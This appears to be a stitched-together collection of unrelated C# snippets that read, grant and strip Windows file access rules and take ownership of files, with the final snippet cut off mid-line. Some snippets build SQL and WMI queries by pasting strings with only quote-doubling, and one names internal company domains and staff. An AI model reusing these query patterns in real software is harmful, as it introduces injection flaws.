public void SetAccessRule_IgnoreExistingRule_Succeeds() { var accessRuleRead = new FileSystemAccessRule(Helpers.s_LocalSystemNTAccount, FileSystemRights.Read, AccessControlType.Allow); var fileSecurity = new FileSecurity(); fileSecurity.AddAccessRule(accessRuleRead); var newAccessRule = new FileSystemAccessRule(Helpers.s_NetworkServiceNTAccount, FileSystemRights.Write, AccessControlType.Allow); fileSecurity.SetAccessRule(newAccessRule); AuthorizationRuleCollection rules = fileSecurity.GetAccessRules(true, true, typeof(System.Security.Principal.NTAccount)); Assert.Equal(2, rules.Count); var existingAccessRule = (FileSystemAccessRule)rules[0]; Assert.Equal(new SecurityIdentifier(WellKnownSidType.LocalSystemSid, null).Translate(typeof(NTAccount)), existingAccessRule.IdentityReference); existingAccessRule = (FileSystemAccessRule)rules[1]; Assert.Equal(Helpers.s_NetworkServiceNTAccount, existingAccessRule.IdentityReference); }
public static string AccesFile(this FileInfo f) { if (Path.GetExtension(f.FullName) != ".sys") { try { FileInfo d = new FileInfo(f.FullName); StringBuilder result = new StringBuilder(); FileSecurity ds = d.GetAccessControl(); foreach (FileSystemAccessRule permissions in ds.GetAccessRules(true, true, typeof(NTAccount))) { result.AppendLine(String.Format("Права: {0}", permissions.FileSystemRights.ToString())); result.AppendLine(); } return(result.ToString()); } catch (UnauthorizedAccessException) { return("Отказано в доступе"); } } else { return("Системный файл"); } }
static public bool UnBlockFile(string path) { try { path = Environment.ExpandEnvironmentVariables(path); if (!FileOps.TakeOwn(path)) { return(false); } FileSecurity ac = File.GetAccessControl(path); AuthorizationRuleCollection rules = ac.GetAccessRules(true, true, typeof(System.Security.Principal.SecurityIdentifier)); // get as SID not string foreach (FileSystemAccessRule rule in rules) { if (!rule.IdentityReference.ToString().Equals(FileOps.SID_World)) { continue; } if (rule.FileSystemRights != FileSystemRights.ExecuteFile) { continue; } if (rule.AccessControlType != AccessControlType.Deny) { continue; } ac.RemoveAccessRule(rule); } File.SetAccessControl(path, ac); return(true); } catch (Exception err) { AppLog.Exception(err); } return(false); }
private static void OwnthatFile(string filename) { // Way safer than string comparison against "BUILTIN\\Administrators" IdentityReference BuiltinAdministrators = new SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, null); // Grab ACL from file FileSecurity FileACL = File.GetAccessControl(filename); // Check if correct owner is set if (FileACL.GetOwner(typeof(SecurityIdentifier)) != BuiltinAdministrators) { // If not, make it so! FileACL.SetOwner(BuiltinAdministrators); } foreach (FileSystemAccessRule fsRule in FileACL.GetAccessRules(true, false, typeof(SecurityIdentifier))) { // Check if rule grants delete if ((fsRule.FileSystemRights & FileSystemRights.Write) == FileSystemRights.Write) { // If so, nuke it! FileACL.RemoveAccessRule(fsRule); } } // Add a single explicit rule to allow FullControl FileACL.AddAccessRule(new FileSystemAccessRule(BuiltinAdministrators, FileSystemRights.FullControl, AccessControlType.Allow)); // Enable protection from inheritance, remove existing inherited rules FileACL.SetAccessRuleProtection(true, false); // Write ACL back to file File.SetAccessControl(filename, FileACL); }
} //GetFileSizeString Function //public static bool HasRightsToListFolderContents(string pathName) //{ // //return Directory.GetAccessControl(pathName).AreAccessRulesProtected; // try { // string[] files = Directory.GetFiles(pathName); // return true; // } catch { //(Exception ex) { // return false; //if an error happens then boo // } //} //HasRightsToListFolderContents Function public static bool HasPermissionOnFile(string fileName, FileSystemRights permission) { FileSecurity accessControlList = File.GetAccessControl(fileName); if (accessControlList == null) { return(false); } AuthorizationRuleCollection accessRules = accessControlList.GetAccessRules(true, true, typeof(System.Security.Principal.SecurityIdentifier)); if (accessRules == null) { return(false); } bool hasAllow = false; foreach (FileSystemAccessRule rule in accessRules) { if ((permission & rule.FileSystemRights) != permission) { continue; } if (rule.AccessControlType == AccessControlType.Allow) { hasAllow = true; } else if (rule.AccessControlType == AccessControlType.Deny) { return(false); } } return(hasAllow); } //HasPermissionOnFile Function
public Item(FileSystemInfo info) { Id = Guid.NewGuid().ToString(); Name = info.Name; Created = info.CreationTime; Modified = info.LastWriteTime; LastAccess = info.LastAccessTime; var fileInfo = info as FileInfo; if (fileInfo != null) { m_isReadOnly = fileInfo.IsReadOnly; Size = fileInfo.Length; IsFile = true; } else { IsFile = false; } FileSecurity fs = File.GetAccessControl(info.FullName); var sidOwning = fs.GetOwner(typeof(SecurityIdentifier)); var ntAccount = sidOwning.Translate(typeof(NTAccount)); Owner = ntAccount.Value; // todo: it's not so important, but still put here something like read, write etc. var sidRules = fs.GetAccessRules(true, true, typeof(SecurityIdentifier)); List <string> rulesList = new List <string>(sidRules.Count); for (int i = 0; i < sidRules.Count; i++) { rulesList.Add(sidRules[i].IdentityReference.Value); } Rights = string.Join("; ", rulesList); }
/// <summary> /// Sets the permissions for the log file. /// Gives Full Control to NT AUTHORITY\SYSTEM and Modify to BUILTIN\Administrators. /// Removes all inherited rules and any other permissions. /// </summary> private static void SetLogFilePermissions() { try { // Get a FileSecurity object that represents the current security settings for the file. FileInfo FileInfo = new FileInfo(logFile); FileSecurity fSecurity = FileInfo.GetAccessControl(); // Set NT AUTHORITY\SYSTEM with Full Control fSecurity.SetAccessRule(new FileSystemAccessRule(SystemAccount, FileSystemRights.FullControl, AccessControlType.Allow)); FileInfo.SetAccessControl(fSecurity); // Set BUILTIN\Administrators with Modify (everything except change permissions) fSecurity.SetAccessRule(new FileSystemAccessRule(BuiltinAdministrators, FileSystemRights.Modify, AccessControlType.Allow)); FileInfo.SetAccessControl(fSecurity); // Wipe inherited rules - must add the new rules first to ensure that there is are some access rules. fSecurity.SetAccessRuleProtection(true, false); FileInfo.SetAccessControl(fSecurity); // Remove all other permissions foreach (FileSystemAccessRule ar in fSecurity.GetAccessRules(true, true, typeof(NTAccount))) { if (ar.IdentityReference.Value != SystemAccount && ar.IdentityReference.Value != BuiltinAdministrators) { // Purge AccessRules for the identity from the security settings. fSecurity.PurgeAccessRules(ar.IdentityReference); FileInfo.SetAccessControl(fSecurity); } } } catch (Exception ex) { LogError("Error setting log file permissions: " + ex.Message); } }
public static bool IsAuthorized(string path) { bool isAuthorized = false; try { var fileSecuirty = new FileSecurity(path, AccessControlSections.Access); AuthorizationRuleCollection acl = fileSecuirty.GetAccessRules(true, true, typeof(System.Security.Principal.SecurityIdentifier)); AuthorizationRule[] authorizationRuleCollection = new AuthorizationRule[acl.Count]; acl.CopyTo(authorizationRuleCollection, 0); isAuthorized = authorizationRuleCollection.ToList().Where(rc => { var fileSystemAccessRule = (FileSystemAccessRule)rc; return(fileSystemAccessRule.AccessControlType == AccessControlType.Allow && (fileSystemAccessRule.FileSystemRights & FileSystemRights.ListDirectory) == FileSystemRights.ListDirectory); }).Count() > 0; } catch (UnauthorizedAccessException) { Log(string.Format("Attempted to perform an unauthorized operation for {0}", path)); } return(isAuthorized); }
private void GetACL_button_Click(object sender, EventArgs e) { try { AllACL_textBox.Clear(); string ACE_str = null; FileSecurity File_Security = File.GetAccessControl(FILE_UNC); AuthorizationRuleCollection ACL = File_Security.GetAccessRules(true, true, typeof(NTAccount)); foreach (FileSystemAccessRule ACE in ACL) { ACE_str = GetAceInformation(ACE); AllACL_textBox.Text += ACE_str; } } catch (Exception err) { string error_message = "Функция: Считывание ACL" + Environment.NewLine + "Исключение: " + err.Message + Environment.NewLine; StreamWriter Log_file = new StreamWriter("Exceptions_LOG.txt", true); Log_file.WriteLine(error_message); Log_file.Close(); } }
/// <summary> Grants the user FullControl for the file, returns true if modified, false if already present </summary> public static bool GrantFullControlForFile(string filepath, WellKnownSidType sidType, SecurityIdentifier domain) { FileSecurity sec = File.GetAccessControl(filepath); SecurityIdentifier sid = new SecurityIdentifier(sidType, domain); bool found = false; List <FileSystemAccessRule> toremove = new List <FileSystemAccessRule>(); foreach (FileSystemAccessRule rule in sec.GetAccessRules(true, false, typeof(SecurityIdentifier))) { if (sid.Value == rule.IdentityReference.Value) { if (rule.AccessControlType != AccessControlType.Allow || rule.FileSystemRights != FileSystemRights.FullControl) { toremove.Add(rule); } else { found = true; } } } if (!found || toremove.Count > 0) { foreach (FileSystemAccessRule bad in toremove) { sec.RemoveAccessRule(bad); } sec.AddAccessRule(new FileSystemAccessRule(sid, FileSystemRights.FullControl, AccessControlType.Allow)); File.SetAccessControl(filepath, sec); return(true); } return(false); }
public static void RemoveCnPermission(List <string> list, string filePath) { try { FileInfo info = new FileInfo(filePath); string sPath = filePath.Contains("'") ? filePath.Replace("'", "''") : filePath; FileSecurity fs = info.GetAccessControl(); AuthorizationRuleCollection rules = fs.GetAccessRules(true, true, typeof(NTAccount)); foreach (string item in list) { string staffId = AdUtil.GetUserIdByUsername(item.Trim(), "kmcn.local"); foreach (FileSystemAccessRule rule in rules) { if (rule.IdentityReference.Value == @"KMCN\" + staffId) { fs.RemoveAccessRuleSpecific(rule); } } //string query = string.Format("delete from S_OUT_SHARE where o_path = N'{0}' and o_from = N'{1}' and o_toid = '{2}'", sPath, GlobalService.User, staffId); //Debug.WriteLine("Query: " + query); //DataServiceMes.GetInstance().ExecuteNonQuery(query); } File.SetAccessControl(filePath, fs); } catch (Exception ex) { Debug.WriteLine(ex.Message + ex.StackTrace); MessageBox.Show("Errors found when deleting permission."); } }
public static void getFileAccessControl(string path, string fileName) { try { // Create a new DirectoryInfo object. FileSecurity security = File.GetAccessControl(path); // Get a DirectorySecurity object that represents the // current security settings. //Console.WriteLine("Path {0}", path); AuthorizationRuleCollection acl = security.GetAccessRules(true, true, typeof(System.Security.Principal.NTAccount)); foreach (FileSystemAccessRule ace in acl) { var user = ace.IdentityReference.Value; var rights = ace.FileSystemRights; var allowOrDeny = ace.AccessControlType; Console.WriteLine("File,{0}, {1}, {2}, {3},{4}", fileName, path, user, rights.ToString(), allowOrDeny.ToString()); } } catch (Exception e) { Console.WriteLine(e.Message); } }
/// <summary> /// Converts a FileSystemInfo into a FileSystemObject by reading in data about the file /// </summary> /// <param name="fileInfo">A reference to a file on disk.</param> /// <param name="downloadCloud">If the file is hosted in the cloud, the user has the option to include cloud files or not.</param> /// <param name="INCLUDE_CONTENT_HASH">If we should generate a hash of the file.</param> /// <returns></returns> public static FileSystemObject FileSystemInfoToFileSystemObject(FileSystemInfo fileInfo, bool downloadCloud = false, bool INCLUDE_CONTENT_HASH = false) { if (fileInfo == null) { return(null); } FileSystemObject obj = new FileSystemObject() { Path = fileInfo.FullName, PermissionsString = FileSystemUtils.GetFilePermissions(fileInfo), }; // Get Owner/Group if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows)) { try { var fileSecurity = new FileSecurity(fileInfo.FullName, AccessControlSections.All); IdentityReference oid = fileSecurity.GetOwner(typeof(SecurityIdentifier)); IdentityReference gid = fileSecurity.GetGroup(typeof(SecurityIdentifier)); // Set the Owner and Group to the SID, in case we can't properly translate obj.Owner = oid.ToString(); obj.Group = gid.ToString(); try { // Translate owner into the string representation. obj.Owner = (oid.Translate(typeof(NTAccount)) as NTAccount).Value; } catch (IdentityNotMappedException) { Log.Verbose("Couldn't find the Owner from SID {0} for file {1}", oid.ToString(), fileInfo.FullName); } try { // Translate group into the string representation. obj.Group = (gid.Translate(typeof(NTAccount)) as NTAccount).Value; } catch (IdentityNotMappedException) { // This is fine. Some SIDs don't map to NT Accounts. Log.Verbose("Couldn't find the Group from SID {0} for file {1}", gid.ToString(), fileInfo.FullName); } var rules = fileSecurity.GetAccessRules(true, true, typeof(System.Security.Principal.SecurityIdentifier)); foreach (FileSystemAccessRule rule in rules) { string name = rule.IdentityReference.Value; try { name = rule.IdentityReference.Translate(typeof(NTAccount)).Value; } catch (IdentityNotMappedException) { // This is fine. Some SIDs don't map to NT Accounts. } foreach (var permission in rule.FileSystemRights.ToString().Split(',')) { obj.Permissions.Add(new KeyValuePair <string, string>(name, permission)); } } } catch (Exception e) when( e is ArgumentException || e is ArgumentNullException || e is DirectoryNotFoundException || e is FileNotFoundException || e is IOException || e is NotSupportedException || e is PlatformNotSupportedException || e is PathTooLongException || e is PrivilegeNotHeldException || e is SystemException || e is UnauthorizedAccessException) { Log.Verbose($"Error instantiating FileSecurity object {obj.Path} {e.GetType().ToString()}"); } } else if (RuntimeInformation.IsOSPlatform(OSPlatform.Linux) || RuntimeInformation.IsOSPlatform(OSPlatform.OSX)) { try { var file = new UnixFileInfo(fileInfo.FullName); obj.Owner = file.OwnerUser.UserName; obj.Group = file.OwnerGroup.GroupName; obj.SetGid = file.IsSetGroup; obj.SetUid = file.IsSetUser; if (file.FileAccessPermissions.ToString().Equals("AllPermissions", StringComparison.InvariantCulture)) { obj.Permissions.Add(new KeyValuePair <string, string>("User", "Read")); obj.Permissions.Add(new KeyValuePair <string, string>("User", "Write")); obj.Permissions.Add(new KeyValuePair <string, string>("User", "Execute")); obj.Permissions.Add(new KeyValuePair <string, string>("Group", "Read")); obj.Permissions.Add(new KeyValuePair <string, string>("Group", "Write")); obj.Permissions.Add(new KeyValuePair <string, string>("Group", "Execute")); obj.Permissions.Add(new KeyValuePair <string, string>("Other", "Read")); obj.Permissions.Add(new KeyValuePair <string, string>("Other", "Write")); obj.Permissions.Add(new KeyValuePair <string, string>("Other", "Execute")); } else { foreach (var permission in file.FileAccessPermissions.ToString().Split(',').Where((x) => x.Trim().StartsWith("User", StringComparison.InvariantCulture))) { if (permission.Contains("ReadWriteExecute", StringComparison.InvariantCulture)) { obj.Permissions.Add(new KeyValuePair <string, string>("User", "Read")); obj.Permissions.Add(new KeyValuePair <string, string>("User", "Write")); obj.Permissions.Add(new KeyValuePair <string, string>("User", "Execute")); } else { obj.Permissions.Add(new KeyValuePair <string, string>("User", permission.Trim().Substring(4))); } } foreach (var permission in file.FileAccessPermissions.ToString().Split(',').Where((x) => x.Trim().StartsWith("Group", StringComparison.InvariantCulture))) { if (permission.Contains("ReadWriteExecute", StringComparison.InvariantCulture)) { obj.Permissions.Add(new KeyValuePair <string, string>("Group", "Read")); obj.Permissions.Add(new KeyValuePair <string, string>("Group", "Write")); obj.Permissions.Add(new KeyValuePair <string, string>("Group", "Execute")); } else { obj.Permissions.Add(new KeyValuePair <string, string>("Group", permission.Trim().Substring(5))); } } foreach (var permission in file.FileAccessPermissions.ToString().Split(',').Where((x) => x.Trim().StartsWith("Other", StringComparison.InvariantCulture))) { if (permission.Contains("ReadWriteExecute", StringComparison.InvariantCulture)) { obj.Permissions.Add(new KeyValuePair <string, string>("Other", "Read")); obj.Permissions.Add(new KeyValuePair <string, string>("Other", "Write")); obj.Permissions.Add(new KeyValuePair <string, string>("Other", "Execute")); } else { obj.Permissions.Add(new KeyValuePair <string, string>("Other", permission.Trim().Substring(5))); } } } } catch (Exception e) when( e is ArgumentNullException || e is ArgumentException) { Log.Verbose($"Failed to get permissions for {fileInfo.FullName} {e.GetType().ToString()}"); } } if (fileInfo is DirectoryInfo) { obj.IsDirectory = true; } else if (fileInfo is FileInfo) { obj.Size = (ulong)(fileInfo as FileInfo).Length; obj.IsDirectory = false; if (INCLUDE_CONTENT_HASH) { obj.ContentHash = FileSystemUtils.GetFileHash(fileInfo); } // Set IsExecutable and Signature Status if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows)) { if (WindowsFileSystemUtils.IsLocal(obj.Path) || downloadCloud) { if (WindowsFileSystemUtils.NeedsSignature(obj.Path)) { obj.SignatureStatus = WindowsFileSystemUtils.GetSignatureStatus(fileInfo.FullName); obj.Characteristics.AddRange(WindowsFileSystemUtils.GetDllCharacteristics(fileInfo.FullName)); obj.IsExecutable = FileSystemUtils.IsExecutable(obj.Path); } } } else if (RuntimeInformation.IsOSPlatform(OSPlatform.Linux) || RuntimeInformation.IsOSPlatform(OSPlatform.OSX)) { obj.IsExecutable = FileSystemUtils.IsExecutable(obj.Path); } } return(obj); }
private void saveAndExitButton_Click(object sender, EventArgs e) { AccessControlType ACT; switch (accessControlList.SelectedItem.ToString()) { case "Allow": ACT = AccessControlType.Allow; break; case "Deny": ACT = AccessControlType.Deny; break; default: ACT = rule.AccessControlType; break; } FileSystemRights FSR; switch (fileSystemRightsList.SelectedItem.ToString()) { case "Full Control": FSR = FileSystemRights.FullControl; break; case "Modify": FSR = FileSystemRights.Modify; break; case "Read and Execute": FSR = FileSystemRights.ReadAndExecute; break; case "Write": FSR = FileSystemRights.Write; break; case "Execute": FSR = FileSystemRights.ExecuteFile; break; case "Read": FSR = FileSystemRights.Read; break; case "Delete": FSR = FileSystemRights.Delete; break; default: FSR = rule.FileSystemRights; break; } FileSystemAccessRule FSAR = new FileSystemAccessRule(rule.IdentityReference.Value, FSR, ACT); bool modified; using (FileStream stream = File.Open(filename, FileMode.Open)) { FileSecurity securityDescriptor = stream.GetAccessControl(); AuthorizationRuleCollection rules = securityDescriptor.GetAccessRules(true, true, typeof(NTAccount)); securityDescriptor.ModifyAccessRule(AccessControlModification.Reset, FSAR, out modified); File.SetAccessControl(filename, securityDescriptor); } ACLView frm = new ACLView(filename); frm.Show(); this.Hide(); }
private void btnSave_Click(object sender, EventArgs e) { string directory = @"\\kdthk-dm1\project\KDTHK-DM\" + AdUtil.getAccount("kmhk.local"); List <string> queryList = new List <string>(); foreach (DataGridViewRow row in dgvCopySetup.Rows) { string fileName = row.Cells[1].Value.ToString(); string keyword = row.Cells[2].Value.ToString(); string favSelection = row.Cells[3].Value.ToString(); string filePath = row.Cells[4].Value.ToString(); string folder = row.Cells[6].Value.ToString(); string shared = row.Cells[7].Value.ToString(); string extension = Path.GetExtension(filePath); string favorite = favSelection == "---" ? "False" : "True"; //if (!Directory.Exists(directory + folder)) // Directory.CreateDirectory(directory + folder); string destination = Path.Combine(directory, fileName + extension); File.Copy(filePath, destination, true); FileInfo info = new FileInfo(destination); FileSecurity fs = info.GetAccessControl(); AuthorizationRuleCollection rules = fs.GetAccessRules(true, true, typeof(NTAccount)); string lastmodified = info.LastWriteTime.ToString("yyyy/MM/dd HH:mm:ss"); string now = DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss"); fs.SetAccessRuleProtection(true, false); fs.AddAccessRule(new FileSystemAccessRule(@"kmhk\itadmin", FileSystemRights.FullControl, AccessControlType.Allow)); fs.AddAccessRule(new FileSystemAccessRule(AdUtil.GetUserIdByUsername(GlobalService.User, "kmhk.local"), FileSystemRights.FullControl, AccessControlType.Allow)); string storedDest = destination; if (storedDest.Contains("'")) { storedDest = storedDest.Replace("'", "''"); } if (fileName.Contains("'")) { fileName = fileName.Replace("'", "''"); } if (keyword.Contains("'")) { keyword = keyword.Replace("'", "''"); } if (shared != "-") { List <string> fileSharedList = shared.Split(';').ToList(); List <string> hklist = new List <string>(); List <string> cnlist = new List <string>(); List <string> vnlist = new List <string>(); List <string> jplist = new List <string>(); foreach (string item in fileSharedList) { if (UserUtil.IsCnMember(item.Trim())) { cnlist.Add(item.Trim()); } else if (UserUtil.IsVnMember(item.Trim())) { vnlist.Add(item.Trim()); } else if (UserUtil.IsJpMember(item.Trim())) { jplist.Add(item.Trim()); } else { hklist.Add(item.Trim()); } } foreach (string fileShared in hklist) { string sharedId = AdUtil.GetUserIdByUsername(fileShared.Trim(), "kmhk.local"); string tableName = "TB_" + sharedId; fs.AddAccessRule(new FileSystemAccessRule(sharedId, FileSystemRights.Modify, AccessControlType.Allow)); if (UserUtil.IsSpecialUser(fileShared)) //if (fileShared == "Chow Chi To(周志滔,Sammy)" || fileShared == "Ling Wai Man(凌慧敏,Velma)" || fileShared == "Chan Fai Lung(陳輝龍,Onyx)" || fileShared == "Ng Lau Yu, Lilith (吳柳如)" || // fileShared == "Lee Miu Wah(李苗華)" || fileShared == "Lee Ming Fung(李銘峯)" || fileShared == "Ho Kin Hang(何健恒,Ken)" || fileShared == "Yeung Wai, Gabriel (楊偉)") { string asText = string.Format("select as_userid from TB_USER_AS where as_user = N'{0}'", fileShared.Trim()); string asId = DataService.GetInstance().ExecuteScalar(asText).ToString().Trim(); fs.AddAccessRule(new FileSystemAccessRule(asId, FileSystemRights.Modify, AccessControlType.Allow)); } string sharedDivision = SystemUtil.GetDivision(fileShared.Trim()); string sharedDepartment = SystemUtil.GetDepartment(fileShared.Trim()); string sharedVpath = sharedDivision != GlobalService.Division && folder.StartsWith(@"\" + GlobalService.Division) ? @"\Documents" + folder : sharedDepartment != GlobalService.Department && folder.StartsWith(@"\Common") ? @"\Documents" + folder : folder; if (sharedVpath.Contains("'")) { sharedVpath = sharedVpath.Replace("'", "''"); } string sharedText = string.Format("insert into " + tableName + " (r_filename, r_extension, r_keyword, r_lastaccess, r_lastmodified, r_owner, r_shared, r_path, r_vpath, r_deletedate)" + " values (N'{0}', '{1}', N'{2}', '{3}', '{4}', N'{5}', N'{6}', N'{7}', N'{8}', '{9}')", fileName, extension, keyword, now, lastmodified, GlobalService.User, fileShared.Trim(), storedDest, sharedVpath, "2099/12/31"); queryList.Add(sharedText); } try { File.SetAccessControl(destination, fs); } catch (Exception ex) { Debug.WriteLine(ex.Message + ex.StackTrace); continue; } if (cnlist.Count > 0) { PermissionUtil.SetGlobalPermission(cnlist, destination, "kmcn.local"); SharedUtil.SharedCN(cnlist, storedDest, fileName, keyword); } if (vnlist.Count > 0) { PermissionUtil.SetGlobalPermission(vnlist, destination, "kdtvn.local"); SharedUtil.SharedVN(vnlist, storedDest, fileName, keyword); } if (jplist.Count > 0) { PermissionUtil.SetGlobalPermission(jplist, destination, "km.local"); SharedUtil.SharedJp(jplist, storedDest, fileName, keyword); } try { List <string> receiverlist = cnlist.Concat(vnlist).Concat(jplist).ToList(); if (receiverlist.Count > 0) { EmailUtil.SendNotificationEmail(receiverlist); } } catch (Exception ex) { Debug.WriteLine(ex.Message + ex.StackTrace); } } GlobalService.RootTable.Rows.Add(fileName, keyword, lastmodified, now, GlobalService.User, shared, destination, folder, 0, favorite, "True", "False"); if (folder.Contains("'")) { folder = folder.Replace("'", "''"); } if (shared == "") { shared = "-"; } string ownerText = string.Format("insert into " + GlobalService.DbTable + " (r_filename, r_extension, r_keyword, r_lastaccess, r_lastmodified, r_owner, r_shared, r_path, r_vpath, r_deletedate)" + " values (N'{0}', '{1}', N'{2}', '{3}', '{4}', N'{5}', N'{6}', N'{7}', N'{8}', '{9}')", fileName, extension, keyword, now, lastmodified, GlobalService.User, shared, storedDest, folder, "2099/12/31"); queryList.Add(ownerText); } foreach (string text in queryList) { DataService.GetInstance().ExecuteNonQuery(text); } //DataUtil.SyncDataToServer(); GlobalService.RootTable = RootUtil.RootDataTable(); this.DialogResult = DialogResult.OK; }
/// <summary> /// Change the ownership of the file or folder that is associated with the ListViewLocker. /// </summary> /// <param name="owned">A boolean to represent wether the operator owns the file or folder that is associated with the ListViewLocker.</param> internal void SetOwnership(bool owned) { try { if (owned) { if (File.GetAttributes(GetPath()).HasFlag(FileAttributes.Directory)) { DirectoryInfo info = new DirectoryInfo(GetPath()); WindowsIdentity self = WindowsIdentity.GetCurrent(); DirectorySecurity ds = info.GetAccessControl(); ds.SetAccessRuleProtection(false, true); if (self?.User == null) { return; } if (ds.GetOwner(typeof(NTAccount)).ToString() != self.Name) { ds.SetOwner(self.User); } ds.AddAccessRule(new FileSystemAccessRule(self.User, FileSystemRights.FullControl, InheritanceFlags.ObjectInherit | InheritanceFlags.ContainerInherit, PropagationFlags.None, AccessControlType.Allow)); info.SetAccessControl(ds); } else { WindowsIdentity self = WindowsIdentity.GetCurrent(); FileSecurity fs = File.GetAccessControl(GetPath()); fs.SetAccessRuleProtection(false, true); if (self?.User == null) { return; } if (fs.GetOwner(typeof(NTAccount)).ToString() != self.Name) { fs.SetOwner(self.User); } fs.AddAccessRule(new FileSystemAccessRule(self.User, FileSystemRights.FullControl, AccessControlType.Allow)); File.SetAccessControl(GetPath(), fs); File.SetAttributes(GetPath(), FileAttributes.Normal); } } else { if (File.GetAttributes(GetPath()).HasFlag(FileAttributes.Directory)) { DirectoryInfo directoryInfo = new DirectoryInfo(GetPath()); DirectorySecurity directorySecurity = directoryInfo.GetAccessControl(); directorySecurity.SetAccessRuleProtection(true, false); AuthorizationRuleCollection rules = directorySecurity.GetAccessRules(true, true, typeof(NTAccount)); foreach (FileSystemAccessRule rule in rules) { directorySecurity.RemoveAccessRule(rule); } Directory.SetAccessControl(GetPath(), directorySecurity); } else { FileSecurity fs = File.GetAccessControl(GetPath()); fs.SetAccessRuleProtection(true, false); AuthorizationRuleCollection rules = fs.GetAccessRules(true, true, typeof(NTAccount)); foreach (FileSystemAccessRule rule in rules) { fs.RemoveAccessRule(rule); } File.SetAccessControl(GetPath(), fs); } } } catch (Exception ex) { MessageBoxAdv.Show(ex.Message, "DeadLock", MessageBoxButtons.OK, MessageBoxIcon.Error); } }
public ICustomActivityResult Execute() { StringWriter sw = new StringWriter(); DataTable dt = new DataTable("resultSet"); dt.Columns.Add("Result", typeof(string)); if (string.IsNullOrEmpty(Path)) { throw new Exception("File not found"); } if (string.IsNullOrEmpty(PermissionsData)) { throw new Exception("Permissions data wasn't provided."); } ConnectionOptions connectionOptions = new ConnectionOptions(); connectionOptions.Username = UserName; connectionOptions.Password = Password; connectionOptions.Authentication = AuthenticationLevel.PacketPrivacy; connectionOptions.Impersonation = ImpersonationLevel.Impersonate; connectionOptions.EnablePrivileges = true; ManagementScope oms; if (HostName.ToLower() == "localhost" || HostName.ToLower() == "127.0.0.1") { oms = new ManagementScope(@"\\.\root\cimv2"); } else { oms = new ManagementScope(string.Format(@"\\{0}\root\cimv2", HostName), connectionOptions); } Path = Path.Trim(); string dirName = System.IO.Path.GetDirectoryName(Path); if (Path.EndsWith(@"\") && !string.IsNullOrEmpty(dirName)) { Path = Path.Substring(0, Path.LastIndexOf(@"\")); } string[] singleUserData = PermissionsData.Split(new String[] { "<value>" }, StringSplitOptions.None); string fullUserName = GetUserName(HostName, singleUserData[0], Path); if (Path.StartsWith(@"\\")) // || HostName.ToLower() == "localhost" || HostName.ToLower() == "127.0.0.1") { // ---------- SET PERMISSIONS ------------------ if (!File.Exists(Path)) { throw new Exception("File not found"); } //get file info FileInfo fi = new FileInfo(Path); //get security access FileSecurity fs = fi.GetAccessControl(); SecurityIdentifier si = null; // Check is User/Group exist try { si = GetSecurityIdentifier(HostName, fullUserName, Path); AddAccessRule(fs, si, singleUserData); } catch { throw new Exception(@"User / Group does not exist or you are not authorized to change the security settings."); } if (bool.Parse(InheritablePermissions)) { //remove any inherited access fs.SetAccessRuleProtection(true, false); } //get any special user access AuthorizationRuleCollection rules = fs.GetAccessRules(true, true, typeof(System.Security.Principal.NTAccount)); //remove any special access foreach (FileSystemAccessRule rule in rules) { if (bool.Parse(InheritablePermissions)) { fs.RemoveAccessRule(rule); } else { string ruleUserName = rule.IdentityReference.Value; if (string.Equals(ruleUserName.ToLower(), fullUserName)) { fs.RemoveAccessRule(rule); } } } AddAccessRule(fs, si, singleUserData); //add all other users delete only permissions. //fs.AddAccessRule(new FileSystemAccessRule("Authenticated Users", FileSystemRights.Delete, AccessControlType.Allow)); //flush security access. fi.SetAccessControl(fs); dt.Rows.Add("Success"); } else { // ---------- SET PERMISSIONS WMI ------------------ int lastInd = Path.LastIndexOf(@"\"); //string folderPath = Path.Substring(0, Path.Length - lastInd); string folderPath = Path.Substring(0, lastInd); string Volume = System.IO.Path.GetPathRoot(folderPath); string PathOnlyNoVolume = string.Empty; if (!string.IsNullOrEmpty(Volume)) { PathOnlyNoVolume = folderPath.Replace(Volume, ""); } PathOnlyNoVolume = PathOnlyNoVolume.Replace(@"\", @"\\"); // ----------------- Check File existance ----------------------------------- ObjectQuery oQuery = null; if (string.IsNullOrEmpty(PathOnlyNoVolume)) { oQuery = new System.Management.ObjectQuery("SELECT Name FROM CIM_DataFile WHERE Drive = '" + Volume.Replace(@"\", "") + @"' and path = '\\'"); } else { oQuery = new System.Management.ObjectQuery("SELECT Name FROM CIM_DataFile WHERE Drive = '" + Volume.Replace(@"\", "") + @"' and path = '\\" + PathOnlyNoVolume + @"\\'"); } ManagementObjectSearcher oSearcher1 = new ManagementObjectSearcher(oms, oQuery); var allOb1 = oSearcher1.Get(); bool isFound = false; foreach (ManagementObject fobject in allOb1) { if (string.Equals(fobject["Name"].ToString().ToLower(), Path.ToLower())) { isFound = true; } } if (!isFound) { throw new Exception("File not found."); } // --------------------- End Check File Existance ------------------------------------------------------------ //string[] singleUserData = PermissionsData.Split(new String[] { "<value>" }, StringSplitOptions.None); //string UsrName = singleUserData[0]; // Works when fileName is local directory, but not UNC path. ManagementPath mngPath = new ManagementPath(); mngPath.RelativePath = @"Win32_LogicalFileSecuritySetting.Path=" + "'" + Path + "'"; //+ "'" + @"C:\Test1\tf1.txt" + "'"; ManagementObject fileSecurity = new ManagementObject( oms, mngPath, null); // When used with UNC path, exception with "Not Found" is thrown. ManagementBaseObject outParams = null; try { outParams = (ManagementBaseObject)fileSecurity.InvokeMethod( "GetSecurityDescriptor", null, null); } catch { throw new Exception("Failed to get Security Descriptor."); } // Get security descriptor and DACL for specified file. ManagementBaseObject descriptor = (ManagementBaseObject)outParams.Properties["Descriptor"].Value; ManagementBaseObject[] dacl = (ManagementBaseObject[])descriptor.Properties["Dacl"].Value; //string ppp = fileSecurity.Properties["ControlFlags"].Value.ToString(); //fileSecurity.Properties["ControlFlags"].Value = 4 | 4096 | 8192;//ControlFlags.DiscretionaryAclProtected; //string propName = string.Empty; //foreach (var prop in fileSecurity.Properties) //{ // propName += prop.Name + ";"; //} //ControlFlags.SystemAclProtected property //string name = string.Empty; //string[] singleUserData = PermissionsData.Split(new String[] { "<value>" }, StringSplitOptions.None); //string fullUsrName = GetUserName(singleUserData[0]); string machineName = GetMachineName(HostName); string[] dividedUserName = fullUserName.Split(new string[] { @"\" }, StringSplitOptions.None); string UserDomain = string.Empty; string UsrName = string.Empty; if (dividedUserName.Length < 2) { UsrName = dividedUserName[0].ToLower(); } else { UserDomain = dividedUserName[0].ToLower(); UsrName = 